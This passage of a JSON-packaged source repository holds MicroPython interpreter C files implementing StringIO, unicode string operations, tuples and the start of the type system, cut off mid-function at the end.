stringio_new(type_in);\n\n    if (n_args > 0) {\n        if (MP_OBJ_IS_INT(args[0])) {\n            sz = mp_obj_get_int(args[0]);\n        } else {\n            mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ);\n\n            if (MP_OBJ_IS_STR_OR_BYTES(args[0])) {\n                o->vstr = m_new_obj(vstr_t);\n                vstr_init_fixed_buf(o->vstr, bufinfo.len, bufinfo.buf);\n                o->vstr->len = bufinfo.len;\n                o->ref_obj = args[0];\n                return MP_OBJ_FROM_PTR(o);\n            }\n\n            sz = bufinfo.len;\n            initdata = true;\n        }\n    }\n\n    o->vstr = vstr_new(sz);\n\n    if (initdata) {\n        stringio_write(MP_OBJ_FROM_PTR(o), bufinfo.buf, bufinfo.len, NULL);\n        // Cur ptr is always at the beginning of buffer at the construction\n        o->pos = 0;\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC const mp_rom_map_elem_t stringio_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_read), MP_ROM_PTR(&mp_stream_read_obj) },\n    { MP_ROM_QSTR(MP_QSTR_readinto), MP_ROM_PTR(&mp_stream_readinto_obj) },\n    { MP_ROM_QSTR(MP_QSTR_readline), MP_ROM_PTR(&mp_stream_unbuffered_readline_obj) },\n    { MP_ROM_QSTR(MP_QSTR_write), MP_ROM_PTR(&mp_stream_write_obj) },\n    { MP_ROM_QSTR(MP_QSTR_seek), MP_ROM_PTR(&mp_stream_seek_obj) },\n    { MP_ROM_QSTR(MP_QSTR_flush), MP_ROM_PTR(&mp_stream_flush_obj) },\n    { MP_ROM_QSTR(MP_QSTR_close), MP_ROM_PTR(&stringio_close_obj) },\n    { MP_ROM_QSTR(MP_QSTR_getvalue), MP_ROM_PTR(&stringio_getvalue_obj) },\n    { MP_ROM_QSTR(MP_QSTR___enter__), MP_ROM_PTR(&mp_identity_obj) },\n    { MP_ROM_QSTR(MP_QSTR___exit__), MP_ROM_PTR(&stringio___exit___obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(stringio_locals_dict, stringio_locals_dict_table);\n\nSTATIC const mp_stream_p_t stringio_stream_p = {\n    .read = stringio_read,\n    .write = stringio_write,\n    .ioctl = stringio_ioctl,\n    .is_text = true,\n};\n\nSTATIC const mp_stream_p_t bytesio_stream_p = {\n    .read = stringio_read,\n    .write = stringio_write,\n    .ioctl = stringio_ioctl,\n};\n\nconst mp_obj_type_t mp_type_stringio = {\n    { &mp_type_type },\n    .name = MP_QSTR_StringIO,\n    .print = stringio_print,\n    .make_new = stringio_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = mp_stream_unbuffered_iter,\n    .protocol = &stringio_stream_p,\n    .locals_dict = (mp_obj_dict_t*)&stringio_locals_dict,\n};\n\n#if MICROPY_PY_IO_BYTESIO\nconst mp_obj_type_t mp_type_bytesio = {\n    { &mp_type_type },\n    .name = MP_QSTR_BytesIO,\n    .print = stringio_print,\n    .make_new = stringio_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = mp_stream_unbuffered_iter,\n    .protocol = &bytesio_stream_p,\n    .locals_dict = (mp_obj_dict_t*)&stringio_locals_dict,\n};\n#endif\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/objstrunicode.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objstr.h\"\n#include \"py/objlist.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n\nSTATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf);\n\n/******************************************************************************/\n/* str                                                                        */\n\nSTATIC void uni_print_quoted(const mp_print_t *print, const byte *str_data, uint str_len) {\n    // this escapes characters, but it will be very slow to print (calling print many times)\n    bool has_single_quote = false;\n    bool has_double_quote = false;\n    for (const byte *s = str_data, *top = str_data + str_len; !has_double_quote && s < top; s++) {\n        if (*s == '\\'') {\n            has_single_quote = true;\n        } else if (*s == '\"') {\n            has_double_quote = true;\n        }\n    }\n    unichar quote_char = '\\'';\n    if (has_single_quote && !has_double_quote) {\n        quote_char = '\"';\n    }\n    mp_printf(print, \"%c\", quote_char);\n    const byte *s = str_data, *top = str_data + str_len;\n    while (s < top) {\n        unichar ch;\n        ch = utf8_get_char(s);\n        s = utf8_next_char(s);\n        if (ch == quote_char) {\n            mp_printf(print, \"\\\\%c\", quote_char);\n        } else if (ch == '\\\\') {\n            mp_print_str(print, \"\\\\\\\\\");\n        } else if (32 <= ch && ch <= 126) {\n            mp_printf(print, \"%c\", ch);\n        } else if (ch == '\\n') {\n            mp_print_str(print, \"\\\\n\");\n        } else if (ch == '\\r') {\n            mp_print_str(print, \"\\\\r\");\n        } else if (ch == '\\t') {\n            mp_print_str(print, \"\\\\t\");\n        } else if (ch < 0x100) {\n            mp_printf(print, \"\\\\x%02x\", ch);\n        } else if (ch < 0x10000) {\n            mp_printf(print, \"\\\\u%04x\", ch);\n        } else {\n            mp_printf(print, \"\\\\U%08x\", ch);\n        }\n    }\n    mp_printf(print, \"%c\", quote_char);\n}\n\nSTATIC void uni_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    GET_STR_DATA_LEN(self_in, str_data, str_len);\n    #if MICROPY_PY_UJSON\n    if (kind == PRINT_JSON) {\n        mp_str_print_json(print, str_data, str_len);\n        return;\n    }\n    #endif\n    if (kind == PRINT_STR) {\n        mp_printf(print, \"%.*s\", str_len, str_data);\n    } else {\n        uni_print_quoted(print, str_data, str_len);\n    }\n}\n\nSTATIC mp_obj_t uni_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    GET_STR_DATA_LEN(self_in, str_data, str_len);\n    switch (op) {\n        case MP_UNARY_OP_BOOL:\n            return mp_obj_new_bool(str_len != 0);\n        case MP_UNARY_OP_LEN:\n            return MP_OBJ_NEW_SMALL_INT(unichar_charlen((const char *)str_data, str_len));\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\n// Convert an index into a pointer to its lead byte. Out of bounds indexing will raise IndexError or\n// be capped to the first/last character of the string, depending on is_slice.\nconst byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len,\n                             mp_obj_t index, bool is_slice) {\n    // All str functions also handle bytes objects, and they call str_index_to_ptr(),\n    // so it must handle bytes.\n    if (type == &mp_type_bytes) {\n        // Taken from objstr.c:str_index_to_ptr()\n        size_t index_val = mp_get_index(type, self_len, index, is_slice);\n        return self_data + index_val;\n    }\n\n    mp_int_t i;\n    // Copied from mp_get_index; I don't want bounds checking, just give me\n    // the integer as-is. (I can't bounds-check without scanning the whole\n    // string; an out-of-bounds index will be caught in the loops below.)\n    if (MP_OBJ_IS_SMALL_INT(index)) {\n        i = MP_OBJ_SMALL_INT_VALUE(index);\n    } else if (!mp_obj_get_int_maybe(index, &i)) {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, \"string indices must be integers, not %s\", mp_obj_get_type_str(index)));\n    }\n    const byte *s, *top = self_data + self_len;\n    if (i < 0)\n    {\n        // Negative indexing is performed by counting from the end of the string.\n        for (s = top - 1; i; --s) {\n            if (s < self_data) {\n                if (is_slice) {\n                    return self_data;\n                }\n                mp_raise_msg(&mp_type_IndexError, \"string index out of range\");\n            }\n            if (!UTF8_IS_CONT(*s)) {\n                ++i;\n            }\n        }\n        ++s;\n    } else {\n        // Positive indexing, correspondingly, counts from the start of the string.\n        // It's assumed that negative indexing will generally be used with small\n        // absolute values (eg str[-1], not str[-1000000]), which means it'll be\n        // more efficient this way.\n        s = self_data;\n        while (1) {\n            // First check out-of-bounds\n            if (s >= top) {\n                if (is_slice) {\n                    return top;\n                }\n                mp_raise_msg(&mp_type_IndexError, \"string index out of range\");\n            }\n            // Then check completion\n            if (i-- == 0) {\n                break;\n            }\n            // Then skip UTF-8 char\n            ++s;\n            while (UTF8_IS_CONT(*s)) {\n                ++s;\n            }\n        }\n    }\n    return s;\n}\n\nSTATIC mp_obj_t str_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    assert(type == &mp_type_str);\n    GET_STR_DATA_LEN(self_in, self_data, self_len);\n    if (value == MP_OBJ_SENTINEL) {\n        // load\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_obj_t ostart, ostop, ostep;\n            mp_obj_slice_get(index, &ostart, &ostop, &ostep);\n            if (ostep != mp_const_none && ostep != MP_OBJ_NEW_SMALL_INT(1)) {\n                mp_raise_NotImplementedError(\"only slices with step=1 (aka None) are supported\");\n            }\n\n            const byte *pstart, *pstop;\n            if (ostart != mp_const_none) {\n                pstart = str_index_to_ptr(type, self_data, self_len, ostart, true);\n            } else {\n                pstart = self_data;\n            }\n            if (ostop != mp_const_none) {\n                // pstop will point just after the stop character. This depends on\n                // the \\0 at the end of the string.\n                pstop = str_index_to_ptr(type, self_data, self_len, ostop, true);\n            } else {\n                pstop = self_data + self_len;\n            }\n            if (pstop < pstart) {\n                return MP_OBJ_NEW_QSTR(MP_QSTR_);\n            }\n            return mp_obj_new_str_of_type(type, (const byte *)pstart, pstop - pstart);\n        }\n#endif\n        const byte *s = str_index_to_ptr(type, self_data, self_len, index, false);\n        int len = 1;\n        if (UTF8_IS_NONASCII(*s)) {\n            // Count the number of 1 bits (after the first)\n            for (char mask = 0x40; *s & mask; mask >>= 1) {\n                ++len;\n            }\n        }\n        return mp_obj_new_str((const char*)s, len, true); // This will create a one-character string\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC const mp_rom_map_elem_t struni_locals_dict_table[] = {\n#if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR_encode), MP_ROM_PTR(&str_encode_obj) },\n#endif\n    { MP_ROM_QSTR(MP_QSTR_find), MP_ROM_PTR(&str_find_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rfind), MP_ROM_PTR(&str_rfind_obj) },\n    { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&str_index_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rindex), MP_ROM_PTR(&str_rindex_obj) },\n    { MP_ROM_QSTR(MP_QSTR_join), MP_ROM_PTR(&str_join_obj) },\n    { MP_ROM_QSTR(MP_QSTR_split), MP_ROM_PTR(&str_split_obj) },\n    #if MICROPY_PY_BUILTINS_STR_SPLITLINES\n    { MP_ROM_QSTR(MP_QSTR_splitlines), MP_ROM_PTR(&str_splitlines_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_rsplit), MP_ROM_PTR(&str_rsplit_obj) },\n    { MP_ROM_QSTR(MP_QSTR_startswith), MP_ROM_PTR(&str_startswith_obj) },\n    { MP_ROM_QSTR(MP_QSTR_endswith), MP_ROM_PTR(&str_endswith_obj) },\n    { MP_ROM_QSTR(MP_QSTR_strip), MP_ROM_PTR(&str_strip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_lstrip), MP_ROM_PTR(&str_lstrip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rstrip), MP_ROM_PTR(&str_rstrip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_format), MP_ROM_PTR(&str_format_obj) },\n    { MP_ROM_QSTR(MP_QSTR_replace), MP_ROM_PTR(&str_replace_obj) },\n    { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&str_count_obj) },\n    #if MICROPY_PY_BUILTINS_STR_PARTITION\n    { MP_ROM_QSTR(MP_QSTR_partition), MP_ROM_PTR(&str_partition_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rpartition), MP_ROM_PTR(&str_rpartition_obj) },\n    #endif\n    #if MICROPY_PY_BUILTINS_STR_CENTER\n    { MP_ROM_QSTR(MP_QSTR_center), MP_ROM_PTR(&str_center_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_lower), MP_ROM_PTR(&str_lower_obj) },\n    { MP_ROM_QSTR(MP_QSTR_upper), MP_ROM_PTR(&str_upper_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isspace), MP_ROM_PTR(&str_isspace_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isalpha), MP_ROM_PTR(&str_isalpha_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isdigit), MP_ROM_PTR(&str_isdigit_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isupper), MP_ROM_PTR(&str_isupper_obj) },\n    { MP_ROM_QSTR(MP_QSTR_islower), MP_ROM_PTR(&str_islower_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(struni_locals_dict, struni_locals_dict_table);\n\nconst mp_obj_type_t mp_type_str = {\n    { &mp_type_type },\n    .name = MP_QSTR_str,\n    .print = uni_print,\n    .make_new = mp_obj_str_make_new,\n    .unary_op = uni_unary_op,\n    .binary_op = mp_obj_str_binary_op,\n    .subscr = str_subscr,\n    .getiter = mp_obj_new_str_iterator,\n    .buffer_p = { .get_buffer = mp_obj_str_get_buffer },\n    .locals_dict = (mp_obj_dict_t*)&struni_locals_dict,\n};\n\n/******************************************************************************/\n/* str iterator                                                               */\n\ntypedef struct _mp_obj_str_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_t str;\n    size_t cur;\n} mp_obj_str_it_t;\n\nSTATIC mp_obj_t str_it_iternext(mp_obj_t self_in) {\n    mp_obj_str_it_t *self = MP_OBJ_TO_PTR(self_in);\n    GET_STR_DATA_LEN(self->str, str, len);\n    if (self->cur < len) {\n        const byte *cur = str + self->cur;\n        const byte *end = utf8_next_char(str + self->cur);\n        mp_obj_t o_out = mp_obj_new_str((const char*)cur, end - cur, true);\n        self->cur += end - cur;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nSTATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_str_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_str_it_t *o = (mp_obj_str_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = str_it_iternext;\n    o->str = str;\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n#endif // MICROPY_PY_BUILTINS_STR_UNICODE\n"
  },
  {
    "path": "micropython/source/py/objtuple.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objtuple.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n/******************************************************************************/\n/* tuple                                                                      */\n\nvoid mp_obj_tuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    mp_obj_tuple_t *o = MP_OBJ_TO_PTR(o_in);\n    if (MICROPY_PY_UJSON && kind == PRINT_JSON) {\n        mp_print_str(print, \"[\");\n    } else {\n        mp_print_str(print, \"(\");\n        kind = PRINT_REPR;\n    }\n    for (size_t i = 0; i < o->len; i++) {\n        if (i > 0) {\n            mp_print_str(print, \", \");\n        }\n        mp_obj_print_helper(print, o->items[i], kind);\n    }\n    if (MICROPY_PY_UJSON && kind == PRINT_JSON) {\n        mp_print_str(print, \"]\");\n    } else {\n        if (o->len == 1) {\n            mp_print_str(print, \",\");\n        }\n        mp_print_str(print, \")\");\n    }\n}\n\nSTATIC mp_obj_t mp_obj_tuple_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    switch (n_args) {\n        case 0:\n            // return a empty tuple\n            return mp_const_empty_tuple;\n\n        case 1:\n        default: {\n            // 1 argument, an iterable from which we make a new tuple\n            if (MP_OBJ_IS_TYPE(args[0], &mp_type_tuple)) {\n                return args[0];\n            }\n\n            // TODO optimise for cases where we know the length of the iterator\n\n            size_t alloc = 4;\n            size_t len = 0;\n            mp_obj_t *items = m_new(mp_obj_t, alloc);\n\n            mp_obj_t iterable = mp_getiter(args[0], NULL);\n            mp_obj_t item;\n            while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n                if (len >= alloc) {\n                    items = m_renew(mp_obj_t, items, alloc, alloc * 2);\n                    alloc *= 2;\n                }\n                items[len++] = item;\n            }\n\n            mp_obj_t tuple = mp_obj_new_tuple(len, items);\n            m_del(mp_obj_t, items, alloc);\n\n            return tuple;\n        }\n    }\n}\n\n// Don't pass MP_BINARY_OP_NOT_EQUAL here\nSTATIC bool tuple_cmp_helper(mp_uint_t op, mp_obj_t self_in, mp_obj_t another_in) {\n    // type check is done on getiter method to allow tuple, namedtuple, attrtuple\n    mp_check_self(mp_obj_get_type(self_in)->getiter == mp_obj_tuple_getiter);\n    mp_obj_type_t *another_type = mp_obj_get_type(another_in);\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n    if (another_type->getiter != mp_obj_tuple_getiter) {\n        // Slow path for user subclasses\n        another_in = mp_instance_cast_to_native_base(another_in, MP_OBJ_FROM_PTR(&mp_type_tuple));\n        if (another_in == MP_OBJ_NULL) {\n            return false;\n        }\n    }\n    mp_obj_tuple_t *another = MP_OBJ_TO_PTR(another_in);\n\n    return mp_seq_cmp_objs(op, self->items, self->len, another->items, another->len);\n}\n\nmp_obj_t mp_obj_tuple_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->len != 0);\n        case MP_UNARY_OP_HASH: {\n            // start hash with pointer to empty tuple, to make it fairly unique\n            mp_int_t hash = (mp_int_t)mp_const_empty_tuple;\n            for (size_t i = 0; i < self->len; i++) {\n                hash += MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, self->items[i]));\n            }\n            return MP_OBJ_NEW_SMALL_INT(hash);\n        }\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->len);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nmp_obj_t mp_obj_tuple_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) {\n    mp_obj_tuple_t *o = MP_OBJ_TO_PTR(lhs);\n    switch (op) {\n        case MP_BINARY_OP_ADD:\n        case MP_BINARY_OP_INPLACE_ADD: {\n            if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(rhs)), MP_OBJ_FROM_PTR(&mp_type_tuple))) {\n                return MP_OBJ_NULL; // op not supported\n            }\n            mp_obj_tuple_t *p = MP_OBJ_TO_PTR(rhs);\n            mp_obj_tuple_t *s = MP_OBJ_TO_PTR(mp_obj_new_tuple(o->len + p->len, NULL));\n            mp_seq_cat(s->items, o->items, o->len, p->items, p->len, mp_obj_t);\n            return MP_OBJ_FROM_PTR(s);\n        }\n        case MP_BINARY_OP_MULTIPLY:\n        case MP_BINARY_OP_INPLACE_MULTIPLY: {\n            mp_int_t n;\n            if (!mp_obj_get_int_maybe(rhs, &n)) {\n                return MP_OBJ_NULL; // op not supported\n            }\n            if (n <= 0) {\n                return mp_const_empty_tuple;\n            }\n            mp_obj_tuple_t *s = MP_OBJ_TO_PTR(mp_obj_new_tuple(o->len * n, NULL));\n            mp_seq_multiply(o->items, sizeof(*o->items), o->len, n, s->items);\n            return MP_OBJ_FROM_PTR(s);\n        }\n        case MP_BINARY_OP_EQUAL:\n        case MP_BINARY_OP_LESS:\n        case MP_BINARY_OP_LESS_EQUAL:\n        case MP_BINARY_OP_MORE:\n        case MP_BINARY_OP_MORE_EQUAL:\n            return mp_obj_new_bool(tuple_cmp_helper(op, lhs, rhs));\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\nmp_obj_t mp_obj_tuple_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    if (value == MP_OBJ_SENTINEL) {\n        // load\n        mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_bound_slice_t slice;\n            if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) {\n                mp_raise_NotImplementedError(\"only slices with step=1 (aka None) are supported\");\n            }\n            mp_obj_tuple_t *res = MP_OBJ_TO_PTR(mp_obj_new_tuple(slice.stop - slice.start, NULL));\n            mp_seq_copy(res->items, self->items + slice.start, res->len, mp_obj_t);\n            return MP_OBJ_FROM_PTR(res);\n        }\n#endif\n        size_t index_value = mp_get_index(self->base.type, self->len, index, false);\n        return self->items[index_value];\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t tuple_count(mp_obj_t self_in, mp_obj_t value) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple));\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n    return mp_seq_count_obj(self->items, self->len, value);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(tuple_count_obj, tuple_count);\n\nSTATIC mp_obj_t tuple_index(size_t n_args, const mp_obj_t *args) {\n    mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_tuple));\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(args[0]);\n    return mp_seq_index_obj(self->items, self->len, n_args, args);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(tuple_index_obj, 2, 4, tuple_index);\n\nSTATIC const mp_rom_map_elem_t tuple_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&tuple_count_obj) },\n    { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&tuple_index_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(tuple_locals_dict, tuple_locals_dict_table);\n\nconst mp_obj_type_t mp_type_tuple = {\n    { &mp_type_type },\n    .name = MP_QSTR_tuple,\n    .print = mp_obj_tuple_print,\n    .make_new = mp_obj_tuple_make_new,\n    .unary_op = mp_obj_tuple_unary_op,\n    .binary_op = mp_obj_tuple_binary_op,\n    .subscr = mp_obj_tuple_subscr,\n    .getiter = mp_obj_tuple_getiter,\n    .locals_dict = (mp_obj_dict_t*)&tuple_locals_dict,\n};\n\n// the zero-length tuple\nconst mp_obj_tuple_t mp_const_empty_tuple_obj = {{&mp_type_tuple}, 0};\n\nmp_obj_t mp_obj_new_tuple(size_t n, const mp_obj_t *items) {\n    if (n == 0) {\n        return mp_const_empty_tuple;\n    }\n    mp_obj_tuple_t *o = m_new_obj_var(mp_obj_tuple_t, mp_obj_t, n);\n    o->base.type = &mp_type_tuple;\n    o->len = n;\n    if (items) {\n        for (size_t i = 0; i < n; i++) {\n            o->items[i] = items[i];\n        }\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_tuple_get(mp_obj_t self_in, size_t *len, mp_obj_t **items) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple));\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n    *len = self->len;\n    *items = &self->items[0];\n}\n\nvoid mp_obj_tuple_del(mp_obj_t self_in) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple));\n    mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n    m_del_var(mp_obj_tuple_t, mp_obj_t, self->len, self);\n}\n\n/******************************************************************************/\n/* tuple iterator                                                             */\n\ntypedef struct _mp_obj_tuple_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_tuple_t *tuple;\n    size_t cur;\n} mp_obj_tuple_it_t;\n\nSTATIC mp_obj_t tuple_it_iternext(mp_obj_t self_in) {\n    mp_obj_tuple_it_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->cur < self->tuple->len) {\n        mp_obj_t o_out = self->tuple->items[self->cur];\n        self->cur += 1;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nmp_obj_t mp_obj_tuple_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_tuple_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_tuple_it_t *o = (mp_obj_tuple_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = tuple_it_iternext;\n    o->tuple = MP_OBJ_TO_PTR(o_in);\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objtype.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014-2016 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <stddef.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objtype.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\nSTATIC mp_obj_t static_class_method_make_new(const mp_obj_type_t *self_in, size_t n_args, size_t n_kw, const mp_obj_t *args);\n\n/******************************************************************************/\n// instance object\n\nSTATIC mp_obj_t mp_obj_new_instance(const mp_obj_type_t *class, size_t subobjs) {\n    mp_obj_instance_t *o = m_new_obj_var(mp_obj_instance_t, mp_obj_t, subobjs);\n    o->base.type = class;\n    mp_map_init(&o->members, 0);\n    mp_seq_clear(o->subobj, 0, subobjs, sizeof(*o->subobj));\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC int instance_count_native_bases(const mp_obj_type_t *type, const mp_obj_type_t **last_native_base) {\n    int count = 0;\n    for (;;) {\n        if (type == &mp_type_object) {\n            // Not a \"real\" type, end search here.\n            return count;\n        } else if (mp_obj_is_native_type(type)) {\n            // Native types don't have parents (at least not from our perspective) so end.\n            